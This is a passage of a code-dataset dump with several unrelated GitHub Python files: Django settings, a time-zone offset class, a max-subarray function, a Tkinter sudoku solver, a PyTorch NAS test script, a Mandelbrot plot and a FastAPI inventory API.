MEDIAFILES_LOCATION)\nDEFAULT_FILE_STORAGE = 'custom_storages.MediaStorage'\n\nSTATICFILES_LOCATION = 'static'\nSTATIC_ROOT = '/%s/' % STATICFILES_LOCATION\nSTATIC_URL = '//%s/%s/' % (AWS_CLOUDFRONT_DOMAIN, STATICFILES_LOCATION)\nSTATICFILES_STORAGE = 'custom_storages.StaticStorage'\n\n# AWS_DEFAULT_ACL = None\n\nLOGGING = {\n    'version': 1,\n    'disable_existing_loggers': False,\n    'filters': {\n        'require_debug_false': {\n            '()': 'django.utils.log.RequireDebugFalse'\n        }\n    },\n    'formatters': {\n        'verbose': {\n            'format': '[contactor] %(levelname)s %(asctime)s %(message)s'\n        },\n    },\n    'handlers': {\n        'console': {\n            'level': 'DEBUG',\n            'class': 'logging.StreamHandler',\n        },\n        'syslog':{\n            'level':'INFO',\n            'class': 'logging.handlers.SysLogHandler',\n            'address': '/dev/log',\n            'formatter': 'verbose',\n        },\n    },\n    'loggers': {\n        '': {\n            'handlers': ['console', 'syslog', ],\n            'level': 'DEBUG',\n            'propagate': False,\n        },\n    }\n}","repo_name":"shunkakinoki/klon_website","sub_path":"klon/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74426223411","text":"__author__ = 'Tyler'\nimport numpy as np\nfrom utils.bp.temporal.temporal_queries import TemporalQueries\n\nclass ZoneOffset(object):\n    def __init__(self, total_seconds):\n        self.total_seconds = total_seconds\n        self.id = ZoneOffset.build_id(total_seconds)\n\n    SECONDS_CACHE = dict()\n    ID_CACHE = dict()\n    ID_CACHE = dict()\n    SECONDS_PER_HOUR = 60 * 60\n    SECONDS_PER_MINUTE = 60\n    MINUTES_PER_HOUR = 60\n    MAX_SECONDS = 18 * SECONDS_PER_HOUR\n\n    @classmethod\n    def of(cls, offset_id):\n        offset = cls.ID_CACHE.get(offset_id)\n        if offset is not None:\n            return offset\n        if len(offset_id) == 2:\n            offset_id = offset_id[0] + '0' + offset_id[1]\n        if len(offset_id) == 3:\n            hours = int(offset_id[1])\n            minutes = 0\n            seconds = 0\n        elif len(offset_id) == 5:\n            hours = int(offset_id[1])\n            minutes = int(offset_id[3])\n            seconds = 0\n        elif len(offset_id) == 6:\n            hours = int(offset_id[1])\n            minutes = int(offset_id[4])\n            seconds = 0\n        elif len(offset_id) == 7:\n            hours = int(offset_id[1])\n            minutes = int(offset_id[3])\n            seconds = int(offset_id[5])\n        elif len(offset_id) == 9:\n            hours = int(offset_id[1])\n            minutes = int(offset_id[4])\n            seconds = int(offset_id[7])\n        else:\n            raise Exception('Invalid ID')\n        first_ch = offset_id[0]\n        if first_ch != '+' and first_ch != '-':\n            raise Exception('Invalid ID')\n        if first_ch == '-':\n            return cls.of_hours_minutes_seconds(-hours, -minutes, -seconds)\n        else:\n            return cls.of_hours_minutes_seconds(hours, minutes, seconds)\n\n    @classmethod\n    def parse_number(cls, offset_id, pos, preceded_by_colon):\n        if preceded_by_colon and offset_id[pos-1] != ':':\n            raise Exception('Invalid Id')\n        ch1 = offset_id[pos]\n        ch2 = offset_id[pos + 1]\n        if ch1 < '0' or ch1 > '9' or ch2 < '0' or ch2 > '9':\n            raise Exception('Invalid Id')\n        return (int(ch1) - 48) * 10 + (int(ch2) - 48)\n\n    @classmethod\n    def of_hours(cls, hours):\n        return cls.of_hours_minutes_seconds(hours, 0, 0)\n\n    @classmethod\n    def of_hours_minutes(cls, hours, minutes):\n        return cls.of_hours_minutes_seconds(hours, minutes, 0)\n\n    @classmethod\n    def of_hours_minutes_seconds(cls, hours, minutes, seconds):\n        total_seconds = cls.total_seconds(hours, minutes, seconds)\n        return cls.of_total_seconds(total_seconds)\n\n    @classmethod\n    def from_temporal(cls, temporal):\n        offset = temporal.query(TemporalQueries.offset())\n        if offset is not None:\n            raise Exception('Unable to obtain')\n        return offset\n\n    @classmethod\n    def total_seconds(cls, hours, minutes, seconds):\n        return hours*cls.SECONDS_PER_HOUR + \\\n               minutes*cls.SECONDS_PER_MINUTE + seconds\n\n    @classmethod\n    def of_total_seconds(cls, total_seconds):\n        if np.abs(total_seconds) > cls.MAX_SECONDS:\n            raise Exception('zone not in range')\n        if np.mod(total_seconds, 15*cls.SECONDS_PER_MINUTE) == 0:\n            total_secs = int(total_seconds)\n            result = cls.SECONDS_CACHE.get(total_secs)\n            if result is None:\n                result = ZoneOffset(total_seconds)\n                cls.SECONDS_CACHE[total_secs] = result\n                result = cls.SECONDS_CACHE.get(total_secs)\n                cls.ID_CACHE[result.get_id()] = result\n            return result\n        else:\n            return ZoneOffset(total_seconds)\n\n    @classmethod\n    def build_id(cls, total_seconds):\n        if total_seconds == 0:\n            return 'Z'\n        else:\n            abs_total_seconds = np.abs(total_seconds)\n            abs_hours = abs_total_seconds/cls.SECONDS_PER_HOUR\n            abs_minutes = np.mod(abs_total_seconds/cls.SECONDS_PER_MINUTE,\n                                 cls.MINUTES_PER_HOUR)\n            return_string = ''\n            if total_seconds < 0:\n                return_string += '-'\n            else:\n                return_string += '+'\n            if abs_hours < 10:\n                return_string += '0' + str(abs_hours)\n            else:\n                return_string += '' + str(abs_hours)\n            if abs_minutes < 10:\n                return_string += '0' + str(abs_minutes)\n            else:\n                return_string += '' + str(abs_minutes)\n            abs_seconds = np.mod(abs_total_seconds, cls.SECONDS_PER_MINUTE)\n            if abs_seconds != 0:\n                if abs_seconds < 10:\n                    return_string += '0' + str(abs_seconds)\n                else:\n                    return_string += '' + str(abs_seconds)\n            return return_string\n\n    def get_total_seconds(self):\n        return self.total_seconds\n\n    def get_id(self):\n        return self.id\n\n    def get_rules(self):\n        #return ZoneRules.of(self)\n        pass\n\n\n","repo_name":"tylerrbowen/sample","sub_path":"utils/bp/zone_offset.py","file_name":"zone_offset.py","file_ext":"py","file_size_in_byte":5005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6484282973","text":"#!/usr/bin/env python\n# _*_coding:utf-8_*_\n\n\"\"\"\n    @Time :    19-1-11 上午10:48\n    @Author:  qcymkxyc\n    @File: book1.py\n    @Software: PyCharm\n\n\n\"\"\"\n\n\ndef max_sub_nums(nums):\n    \"\"\"最大和的连续子数组\n\n    :param nums: List[int]\n        数组\n    :return: List[int],int\n        子数组,和\n    \"\"\"\n    # 空数组\n    if len(nums) == 0:\n        return nums,0\n\n    # 如果全是负数\n    if len(list(filter(lambda x: x < 0, nums))) == len(nums):\n        return [], 0\n\n    max_sum = 0\n    pre_sum = 0\n    start, end = 0, len(nums) - 1\n    for i, num in enumerate(nums):\n        if pre_sum + num <= num:\n            start = i\n            pre_sum = num\n        else:\n            pre_sum += num\n\n        if pre_sum > max_sum:\n            max_sum = pre_sum\n            end = i\n\n    return nums[start: end + 1], max_sum\n","repo_name":"qcymkxyc/JZoffer","sub_path":"main/question42/book1.py","file_name":"book1.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"71017705654","text":"# solve Sudoku by LMH\n# this program can solve Sudoku problem with only one solution\n# input should be 9 rows without any space in each row\n# the number need to be filled should be 0 when inputing\n# e.g.:\n# 072100500\n# 030020409\n# 580047100\n# 026700950\n# 043065010\n# 057000643\n# 004971020\n# 210386090\n# 000000360\n\n# the output will be\n# [4, 7, 2, 1, 9, 3, 5, 8, 6]\n# [6, 3, 1, 5, 2, 8, 4, 7, 9]\n# [5, 8, 9, 6, 4, 7, 1, 3, 2]\n# [1, 2, 6, 7, 3, 4, 9, 5, 8]\n# [9, 4, 3, 8, 6, 5, 2, 1, 7]\n# [8, 5, 7, 2, 1, 9, 6, 4, 3]\n# [3, 6, 4, 9, 7, 1, 8, 2, 5]\n# [2, 1, 5, 3, 8, 6, 7, 9, 4]\n# [7, 9, 8, 4, 5, 2, 3, 6, 1]\n\n####################################################\n# function [data_room, flag_finish, potential_list] = uniquely_fill(data_room)\n# uniquely fill the table\n# if flag_finish==0, we need potential_list to find \ndef uniquely_fill(data_room):\n    flag_changed = 1\n    flag_finish = 1\n    while(flag_changed==1):\n        flag_changed = 0 # if still unfinish in this loop, this flag will be reset\n        flag_finish = 1\n        # bulid the potential list\n        potential_list = list()\n        for i in range(0,9):\n            potential_list_onerow = list()\n            for j in range(0,9):\n                if (data_room[i][j] != 0): # there is a number in this space\n                    potential_list_onedata= list() # append an empty list\n                else:\n                    flag_finish = 0 # haven't finish yet\n                    # delete the impotential number\n                    potential_list_onedata = list([1,2,3,4,5,6,7,8,9])\n                    for num in range(1,10):\n                        for k in range(0,9):\n                            if (data_room[k][j] == num):\n                                try:\n                                    potential_list_onedata.remove(num)\n                                except ValueError:\n                                    pass\n                            if (data_room[i][k] == num):\n                                try:\n                                    potential_list_onedata.remove(num)\n                                except ValueError:\n                                    pass\n                            start_square_row = int(i/3)*3\n                            start_square_column = int(j/3)*3\n                        for k_row in range(start_square_row,start_square_row+3):\n                            for k_column in range(start_square_column,start_square_column+3):\n                                if (data_room[k_row][k_column] == num):\n                                    try:\n                                        potential_list_onedata.remove(num)\n                                    except ValueError:\n                                        pass\n                potential_list_onerow.append(potential_list_onedata)\n            potential_list.append(potential_list_onerow)\n\n        # only one number is potential in a space\n        for i in range(0,9):\n            for j in range(0,9):\n                if(len(potential_list[i][j])==1): \n                    data_room[i][j] = potential_list[i][j][0]\n                    flag_changed = 1\n\n        for num in range(1,10):\n            # in a row, one number can only appear in one space\n            for i in range(0,9):\n                counts_appear_in_potential = 0\n                fill_index_j = -1\n                for j in range(0,9):\n                    if (potential_list[i][j].count(num) == 1):\n                        counts_appear_in_potential = counts_appear_in_potential + 1\n                        fill_index_j = j\n                if (counts_appear_in_potential == 1):\n                    data_room[i][fill_index_j] = num\n                    flag_changed = 1\n\n            # in a column, one number can only appear in one space\n            for j in range(0,9):\n                counts_appear_in_potential = 0\n                fill_index_i = -1\n                for i in range(0,9):\n                    if (potential_list[i][j].count(num) == 1):\n                        counts_appear_in_potential = counts_appear_in_potential + 1\n                        fill_index_i = i\n                if (counts_appear_in_potential == 1):\n                    data_room[fill_index_i][j] = num\n                    flag_changed = 1\n    \n            # in a square, one number can only appear in one space, to do\n\n    # output, if flag_finish==0, we need potential_list to find \n    return data_room, flag_finish, potential_list\n\n####################################################\n# function [least_potential, x_of_least_potential, y_of_least_potential] = multi_solution_indicate(data_room,potential_list)\n# indicate how many solutions there are, and the space that routes to multiple solutions \ndef multi_solution_indicate(data_room,potential_list):\n    least_potential = 10\n    x_of_least_potential = list()\n    y_of_least_potential = list()\n    for i in range(0,9):\n        for j in range(0,9):\n            if (data_room[i][j] == 0):\n                len_potent = len(potential_list[i][j])\n                if (len_potent < least_potential):\n                    least_potential = len_potent\n    for i in range(0,9):\n        for j in range(0,9):\n            if (data_room[i][j] == 0):\n                len_potent = len(potential_list[i][j])\n                if (len_potent == least_potential):\n                    least_potential = len_potent\n                    x_of_least_potential.append(i)\n                    y_of_least_potential.append(j)\n    return least_potential,x_of_least_potential,y_of_least_potential\n    \n####################################################\n# function bool = is_potential_list_empty(potential_list)\n# check if a potential_list is empty\ndef is_potential_list_empty(potential_list):\n    max_len_potent = 0\n    for i in range(0,9):\n        for j in range(0,9):\n            len_potent = len(potential_list[i][j])\n            if (len_potent>max_len_potent):\n                max_len_potent = len_potent\n    if (max_len_potent == 0):\n        return True\n    else:\n        return False\n\n####################################################\n# function bool = check_sudoku(data_room)\n# perform after unique_fill() with is_finish==True\n# to check the result is valid\ndef check_sudoku(data_room):\n    flag_valid = True\n    for i in range(0,9):\n        sum_data = 0\n        for j in range(0,9):\n            sum_data = sum_data + data_room[i][j]\n        if (sum_data!=45):\n            flag_valid = False\n    for j in range(0,9):\n        sum_data = 0\n        for i in range(0,9):\n            sum_data = sum_data + data_room[i][j]\n        if (sum_data!=45):\n            flag_valid = False\n    return flag_valid\n\n# read data and create main room for data\ninput_data = list()\nfor i in range(0,9):\n    str_read = input()\n    input_data.append(str_read)\n\nData_room = list() \nfor i in range(0,9):\n    one_row = list()\n    for j in range(0,9):\n        one_row.append(int(input_data[i][j]))\n    Data_room.append(one_row)\n\n[Data_room, is_finish, potential_table] = uniquely_fill(Data_room)\nif ((is_finish == 1) and (check_sudoku(Data_room))):\n    for i in range(0,9):\n        print(Data_room[i])\n    print()\nelse:    # may be multiple solution\n    [least_potential, x_list, y_list] = multi_solution_indicate(Data_room,potential_table)\n    for test in range(0,len(x_list)):\n        for n in potential_table[x_list[test]][y_list[test]]:\n            Data_room_try = list()\n            for i in range(0,9):\n                Data_room_try_oneRow = list()\n                for j in range(0,9):\n                    Data_room_try_oneRow.append(Data_room[i][j])\n                Data_room_try.append(Data_room_try_oneRow)\n            Data_room_try[x_list[test]][y_list[test]] = n\n            [Data_room_result, is_finish, potential_table_2nd] = uniquely_fill(Data_room_try)\n            if ((is_finish == 1) and (check_sudoku(Data_room_result))):\n                for print_index in range(0,9):\n                    print(Data_room_result[print_index])\n                print()\n                for i in range(0,9):\n                    for j in range(0,9):\n                        try:\n                            potential_table[i][j].remove(Data_room_result[i][j])\n                        except ValueError:\n                            pass\n","repo_name":"linmh0130/solve_sudoku","sub_path":"solve_sudoku.py","file_name":"solve_sudoku.py","file_ext":"py","file_size_in_byte":8252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41637601263","text":"import os\nimport sys\nimport glob\nimport numpy as np\nimport torch\nimport utils\nimport logging\nimport argparse\nimport torch.nn as nn\nimport genotypes\nimport torch.utils\nimport torchvision.datasets as dset\nimport torch.backends.cudnn as cudnn\nimport torchvision.transforms as transform\n\nfrom torch.autograd import Variable\nfrom model import NetworkCIFAR as Network\nimport dataset\nfrom sklearn.metrics import confusion_matrix\nimport matplotlib.pyplot as plt\nimport os\n\nparser = argparse.ArgumentParser(\"cifar\")\nparser.add_argument('--data', type=str, default='../data', help='location of the data corpus')\nparser.add_argument('--batch_size', type=int, default=50, help='batch size')\nparser.add_argument('--report_freq', type=float, default=50, help='report frequency')\nparser.add_argument('--gpu', type=int, default=0, help='gpu device id')\nparser.add_argument('--init_channels', type=int, default=36, help='num of init channels')\nparser.add_argument('--layers', type=int, default=9, help='total number of layers')\nparser.add_argument('--model_path', type=str, default='/home/lab540/PycharmProjects/darts_skeleton/eval-EXP-20200719-212149/weights.pt', help='path of pretrained model')\nparser.add_argument('--auxiliary', action='store_true', default=False, help='use auxiliary tower')\nparser.add_argument('--cutout', action='store_true', default=True, help='use cutout')\nparser.add_argument('--cutout_length', type=int, default=16, help='cutout length')\nparser.add_argument('--drop_path_prob', type=float, default=0.2, help='drop path probability')\nparser.add_argument('--seed', type=int, default=0, help='random seed')\nparser.add_argument('--arch', type=str, default='kinetics_112se41', help='which architecture to use')\nargs = parser.parse_args()\n\nlog_format = '%(asctime)s %(message)s'\nlogging.basicConfig(stream=sys.stdout, level=logging.INFO,\n    format=log_format, datefmt='%m/%d %I:%M:%S %p')\n\nntu_CLASSES = 400\n\n\ndef main():\n  if not torch.cuda.is_available():\n    logging.info('no gpu device available')\n    sys.exit(1)\n\n  np.random.seed(args.seed)\n  torch.cuda.set_device(args.gpu)\n  cudnn.benchmark = True\n  torch.manual_seed(args.seed)\n  cudnn.enabled=True\n  torch.cuda.manual_seed(args.seed)\n  logging.info('gpu device = %d' % args.gpu)\n  logging.info(\"args = %s\", args)\n\n  genotype = eval(\"genotypes.%s\" % args.arch)\n  model = Network(args.init_channels, ntu_CLASSES, args.layers, args.auxiliary, genotype)\n  model = model.cuda()\n  utils.load(model, args.model_path)\n\n  logging.info(\"param size = %fMB\", utils.count_parameters_in_MB(model))\n\n  criterion = nn.CrossEntropyLoss()\n  criterion = criterion.cuda()\n\n  validset = dataset.MyDataset('/media/lab540/79eff75a-f78c-42f2-8902-9358e88bf654/lab540/Neura_auto_search/datasets/kinetics_convert/test.txt',\n                               transform = transform.ToTensor())\n  valid_queue = torch.utils.data.DataLoader(validset, batch_size=args.batch_size, shuffle=False, num_workers=1)\n\n  # _, test_transform = utils._data_transforms_cifar10(args)\n  # test_data = dset.CIFAR10(root=args.data, train=False, download=True, transform=test_transform)\n  #\n  # test_queue = torch.utils.data.DataLoader(\n  #     test_data, batch_size=args.batch_size, shuffle=False, pin_memory=True, num_workers=2)\n\n  model.drop_path_prob = args.drop_path_prob\n  test_acc, test_obj = infer(valid_queue, model, criterion)\n  logging.info('test_acc %f', test_acc)\n\n\ndef infer(valid_queue, model, criterion):\n  objs = utils.AvgrageMeter()\n  top1 = utils.AvgrageMeter()\n  top5 = utils.AvgrageMeter()\n  model.eval()\n\n\n  # true_labels = []\n  predicted_labels = []\n  with torch.no_grad():\n    for step, (input, target) in enumerate(valid_queue):\n      input = Variable(input, volatile=True).cuda()\n      target = Variable(target, volatile=True).cuda()\n\n      logits, _ = model(input)\n      _, predicted = torch.max(logits.data, 1)\n      for i in range(predicted.shape[0]):\n        predicted_labels.append(predicted[i])\n      loss = criterion(logits, target)\n\n      prec1, prec5 = utils.accuracy(logits, target, topk=(1, 5))\n      n = input.size(0)\n      objs.update(loss.data[0], n)\n      top1.update(prec1.data[0], n)\n      top5.update(prec5.data[0], n)\n\n      if step % args.report_freq == 0:\n        logging.info('test %03d %e %f %f', step, objs.avg, top1.avg, top5.avg)\n    predicted_labels = np.asarray(predicted_labels)\n    np.save('/home/lab540/PycharmProjects/darts_skeleton/predicted_labels3.npy', predicted_labels)\n    return top5.avg, top1.avg\n\n\nif __name__ == '__main__':\n  main() \n\n","repo_name":"zhy0860/phi","sub_path":"SAR-NAS/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4518,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"}
+{"seq_id":"40083494026","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\"\"\"\nI Don't fully understand this one yet, it's pretty though. \n\ncomplex_matrix returns an array of real and imaginary numbers for is stable to work on\nis_stable contains the definition of the mandelbrot function\n\"\"\"\n\n\n# Linearly spaced real and imaginary numbers between xmin, xmax and ymin, ymax, pixel density amount.\ndef complex_matrix(xmin, xmax, ymin, ymax, pixel_density):\n    real = np.linspace(xmin, xmax, int((xmax - xmin) * pixel_density))\n    imaginary = np.linspace(ymin, ymax, int((ymax - ymin) * pixel_density))\n    return real[np.newaxis, :] + imaginary[:, np.newaxis] * 1j\n\n\ndef is_stable(c, num_iterations):\n    z = 0\n    for _ in range(num_iterations):\n        z = z ** 2 + c\n    return abs(z) <= 2\n\n\nif __name__ == '__main__':\n    c = complex_matrix(-2, 0.5, -1.5, 1.5, pixel_density=512)\n    plt.imshow(is_stable(c, num_iterations=20), cmap=\"binary\")\n    plt.gca().set_aspect(\"equal\")\n    plt.axis(\"off\")\n    plt.tight_layout()\n    plt.show()\n","repo_name":"BillyUdders/algorithms","sub_path":"src/mandelbrot_set.py","file_name":"mandelbrot_set.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23604833785","text":"#there's about a 1/25 chance for the programm to freeze after you hit solve\n#most of the time the puzzle will sovle almost instanly but could take a couple seconds\nfrom tkinter import *\nfrom sudokuSolver import solve\nfrom sudokuMaker import makePuzzel\nfrom sudokuChecker import checkBoard\n#global vars\nsectionsNums = []\nfor i in range(9):\n    sectionsNums.append([])\n    for n in range(3):\n        sectionsNums[i].append([\" \",\" \",\" \"])\nsectionsBtns = []\ncurrentCoord=\"000\"\nnumberOfFilledSquares = 17\n#create root\nroot = Tk()\nroot.title(\"sudoku\")\nroot.config(background=\"purple\")\n\n#string vars\nsection = StringVar()\nrow = StringVar()\ncol = StringVar()\nout = StringVar()\n\n#functions\n\n#when you click on a sudoku square it sets the new cords\ndef setNewCord(cord):\n    global currentCoord\n    currentCoord=cord\n    section.set(f\"Section: {int(currentCoord[0])+1}\")\n    row.set(f\"Row: {round(int(currentCoord[1])+(int(currentCoord[0])-int(currentCoord[0])%3))+1}\")\n    col.set(f\"Column: {int(currentCoord[2])+(int(currentCoord[0])%3)*3+1}\")\n    out.set(\"\")\n\n#sets number in current square when you click on a num button    \ndef setNum(num):\n    global currentCoord\n    global sectionsBtns\n    global sectionsNums\n    global out\n    spot = sectionsBtns[int(currentCoord[0])][int(currentCoord[1])][int(currentCoord[2])]\n    if spot.changable:\n        spot.config(text=num)\n        sectionsNums[int(currentCoord[0])][int(currentCoord[1])][int(currentCoord[2])] = num\n        out.set(\"\")\n    else:\n        out.set(\"sorry you can't chang ethat square\")\n    \n#sets all the sudoku buttons to the corrisponding values in the section list\ndef setAllNums():\n    global sectionsNums\n    global sectionsBtns\n    for section in range(len(sectionsBtns)):\n        for row in range(len(sectionsBtns[section])):\n            for spot in range(len(sectionsBtns[section][row])):\n                sectionsBtns[section][row][spot].config(text = sectionsNums[section][row][spot])\n                if sectionsNums[section][row][spot].isdigit():\n                    sectionsBtns[section][row][spot].config(bg = \"Dark Grey\")\n                    sectionsBtns[section][row][spot].changable = False\n                else:\n                    sectionsBtns[section][row][spot].config(bg = \"Grey\")\n                    sectionsBtns[section][row][spot].changable = True\n\n#runs the puzzle through the solving alg\ndef solvePuzzle():\n    global sectionsNums\n    global out\n    if checkBoard(convertBoardToSolve()):\n        #copy's board to save data\n        copyOboard = []\n        for i in range(9):\n            copyOboard.append([[' ',' ',' '],[' ',' ',' '],[' ',' ',' ']])\n        for s in range(len(sectionsNums)):\n            for r in range(len(sectionsNums[s])):\n                for c in range(len(sectionsNums[s][r])):\n                    copyOboard[s][r][c] = sectionsNums[s][r][c]\n                    \n        readListORows(solve(convertBoardToSolve()))    \n        setAllNums()\n        #if nopthing changed then there was no solution found\n        if sectionsNums == copyOboard:\n            out.set(\"sorry, no solution was found\")\n        else:\n            out.set(\"Puzzle is solved :)\")\n    else:\n        out.set(\"Puzzle is invalid :(\")\n        \n#used to help change between the diffrent board formats\ndef secColCheck(c):\n    if c in range(0,3):\n        return 0\n    elif c in range(3,6):\n        return 1\n    else:\n        return 2\n\n#converts sectionNums to a readiable format for the solver (a list of rows rather than a list of sections)\ndef convertBoardToSolve():\n    global sectionsNums\n    listORows=[]\n    for _ in range(9):\n        listORows.append([])\n    for s in range(len(sectionsNums)):\n        for r in range(len(sectionsNums[s])):\n            for c in sectionsNums[s][r]:\n                listORows[((s-s%3))+r].append(c)\n    return listORows\n       \n#reformats the list of rows back to a list of sections\ndef readListORows(board):\n    global sectionsNums\n    for r in range(len(board)):\n        for c in range(len(board[r])):\n            if r in range(0,3):\n                s=secColCheck(c)\n            elif r in range(3,6):\n                s=secColCheck(c)+3\n            else:\n                s=secColCheck(c)+6\n            sectionsNums[s][r%3][c%3] = board[r][c]\n\n#generates a new puzzle\ndef newPuzzle():\n    global out\n    global numberOfFilledSquares\n    readListORows(makePuzzel(numberOfFilledSquares))\n    setAllNums()\n    out.set(\"have fun :)\")\n             \n#makes the board blank\ndef clearBoard():\n    global sectionsNums\n    sectionsNums = []\n    for i in range(9):\n        sectionsNums.append([])\n        for n in range(3):\n            sectionsNums[i].append([\" \",\" \",\" \"])\n    out.set(\"look at that clean board :)\")\n    setAllNums()\n\n#checks the current board\ndef check():\n    global sectionsNums\n    global out\n    notSolved = False\n    done = False\n    if checkBoard(convertBoardToSolve()):\n        while not(notSolved or done):\n            for sec in sectionsNums:\n                for row in sec:\n                    for char in row:\n                        if char == \" \":\n                            notSolved = True\n            done = True\n        if notSolved:\n            out.set(\"Looks good so far\")\n        else:\n            out.set(\"Great work!\")\n    else:\n        out.set(\"you messed up somewhere\")\n#boring stuff\n\n#sudoku buttom board\nsudokuFrame = Frame(root,height=30,width=60,bg=\"purple\")\nsudokuFrame.pack()\nfor i in range(9):\n    sectionFrame = Frame(sudokuFrame,bd=3,height=10,width=20,bg=\"purple\")\n    if i<3:\n        sectionFrame.grid(row=0, column=i%3)\n    elif i<6:\n        sectionFrame.grid(row=1, column=i%3)\n    else:\n        sectionFrame.grid(row=2, column=i%3)\n    sectionsBtns.append([[],[],[]])\n    for n in range(9):\n        sudokuBTN = Button(sectionFrame,bd=5,width=6,height=3)\n        if n<3:\n            sudokuBTN.grid(row=0, column=n%3,padx=2,pady=2)\n            sudokuBTN.cord = f\"{i}0{n%3}\"\n            sudokuBTN.changable = True\n            sudokuBTN.config(command= lambda cord = sudokuBTN.cord: setNewCord(cord))\n            sectionsBtns[i][0].append(sudokuBTN)\n        elif n<6:\n            sudokuBTN.grid(row=1, column=n%3,padx=2,pady=2)\n            sudokuBTN.cord = f\"{i}1{n%3}\"\n            sudokuBTN.changable = True\n            sudokuBTN.config(command= lambda cord = sudokuBTN.cord: setNewCord(cord))\n            sectionsBtns[i][1].append(sudokuBTN)\n        else:\n            sudokuBTN.grid(row=2, column=n%3,padx=2,pady=2)\n            sudokuBTN.cord = f\"{i}2{n%3}\"\n            sudokuBTN.changable = True\n            sudokuBTN.config(command= lambda cord = sudokuBTN.cord: setNewCord(cord))\n            sectionsBtns[i][2].append(sudokuBTN)\n\n#coord system lables\ncoordFrame = Frame(root,height=3,width=60,bg=\"purple\")\ncoordFrame.pack()\nsecLable = Label(coordFrame,height=2,width=20,textvariable= section,fg=\"white\",bg=\"purple\").grid(row=0,column=0)\nrowLable = Label(coordFrame,height=2,width=20,textvariable= row,fg=\"white\",bg=\"purple\").grid(row=0,column=1)\ncolLable = Label(coordFrame,height=2,width=20,textvariable= col,fg=\"white\",bg=\"purple\").grid(row=0,column=2)\n\n#number button board\nnumFrame = Frame(root,height=3,width=60,bg=\"purple\")\nnumFrame.pack()\nfor i in range(1,11):\n    if i != 10:\n        numBtn =Button(numFrame,bd=5,width=5,height=3,text=str(i))\n        numBtn.text = str(i)\n    else:\n        numBtn =Button(numFrame,bd=5,width=5,height=3,text=\"\")\n        numBtn.text = \" \"\n        numBtn.changable = True\n    numBtn.config(command= lambda num = numBtn.text:setNum(num))\n    numBtn.grid(row=0,column=i-1,padx=2,pady=2)\n\nfor s in range(len(sectionsBtns)):\n    for r in range(len(sectionsBtns[s])):\n        for c in range(len(sectionsBtns[s][r])):\n            sectionsBtns[s][r][c].config(text=sectionsNums[s][r][c])\n\noutFrame = Frame(root,height=3,width=60,bg = \"purple\")\noutFrame.pack()\noutDisplay = Label(bg = \"purple\",textvariable= out,justify = \"center\")\noutDisplay.pack()\n\ncheckFrame = Frame(root,height=3,width=60,bg = \"purple\")\ncheckFrame.pack()\ncheckBtn = Button(checkFrame,bd=5,width=11,height=5,text=\"Check\", command = check)\ncheckBtn.grid(row = 0,column= 0,padx=10)\nsolveBtn = Button(checkFrame,bd=5,width=11,height=5,text=\"Solve\", command = solvePuzzle)\nsolveBtn.grid(row = 0,column= 1,padx=10)\ngenBtn = Button(checkFrame,bd=5,width=11,height=5,text=\"New Puzzle\", command = newPuzzle)\ngenBtn.grid(row = 0,column= 2,padx=10)\nclearBtn = Button(checkFrame,bd=5,width=11,height=5,text=\"Clear\", command = clearBoard)\nclearBtn.grid(row = 0,column= 3,padx=10)\nroot.mainloop()","repo_name":"Koeh1124/portfolioRepo","sub_path":"python/sudoku solver/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14021749220","text":"from fastapi import FastAPI, HTTPException\nfrom pydantic import BaseModel\nimport json\n\nclass Product(BaseModel):\n    id: int\n    name: str\n    price: float\n    quantity: int\n\ndescription = \"\"\"\nBackendAyres API te ajuda a gerenciar melhor seu estoque. 🚀\n\n## Itens\n\nVocê poderá:\n\n* **Criar itens**.\n* **Atualizar itens**.\n* **Deletar itens**.\n* **Puxar itens**.\n\"\"\"\n\napp = FastAPI(\n    title=\"BackendAyres\",\n    description=description,\n    version=\"0.0.1\",\n    contact={\n        \"name\": \"Raphael Lahiry e Rodrigo Coelho\",\n    },\n    license_info={\n        \"name\": \"Apache 2.0\",\n        \"url\": \"https://www.apache.org/licenses/LICENSE-2.0.html\",\n    },\n)\n\ntags_metadata = [\n    {\n        \"name\": \"Get products\",\n        \"description\": \"Listagem de todos os produtos em estoque\",\n    },\n    {\n        \"name\": \"Get product\",\n        \"description\": \"Lista produto específico do estoque\",\n    },\n    {\n        \"name\": \"Create product\",\n        \"description\": \"Cria um produto no estoque\",\n    },\n    {\n        \"name\": \"Delete product\",\n        \"description\": \"Deleta um produto do estoque\",\n    },\n    {\n        \"name\": \"Update product\",\n        \"description\": \"Atualiza um produto no estoque\",\n    },\n]\n\n# Auxiliar functions\n\ndef verify_restrictions(product: Product, verify_product_exists: bool = True):\n    with open('stock.json', 'r') as f:\n        products = json.load(f)['products']\n\n    if product.id < 0:\n        raise HTTPException(status_code=400, detail=\"Id cannot be negative\")\n\n    if product.quantity < 0:\n        raise HTTPException(status_code=400, detail=\"Quantity cannot be negative\")\n\n    if product.price < 0:\n        raise HTTPException(status_code=400, detail=\"Price cannot be negative\")\n\n    if verify_product_exists:\n        if product.id in [product[\"id\"] for product in products] or product.name in [product[\"name\"] for product in products]:\n            raise HTTPException(status_code=400, detail=\"Product already exists\")\n\n    if product.name == \"\":\n        raise HTTPException(status_code=400, detail=\"Name cannot be empty\")\n\ndef save_product(product: Product):\n    with open('stock.json', 'r') as f:\n        products = json.load(f)['products']\n\n    products.append(product.dict())\n    with open('stock.json', 'w') as f:\n        json.dump({\"products\": products}, f, separators=(',',': '), indent=4)\n\n\n# Routes\n\n@app.get(\"/products\", tags=[\"Get products\"], summary=\"Listagem de todos os produtos em estoque\")\nasync def get_products():\n    with open('stock.json', 'r') as f:\n        products = 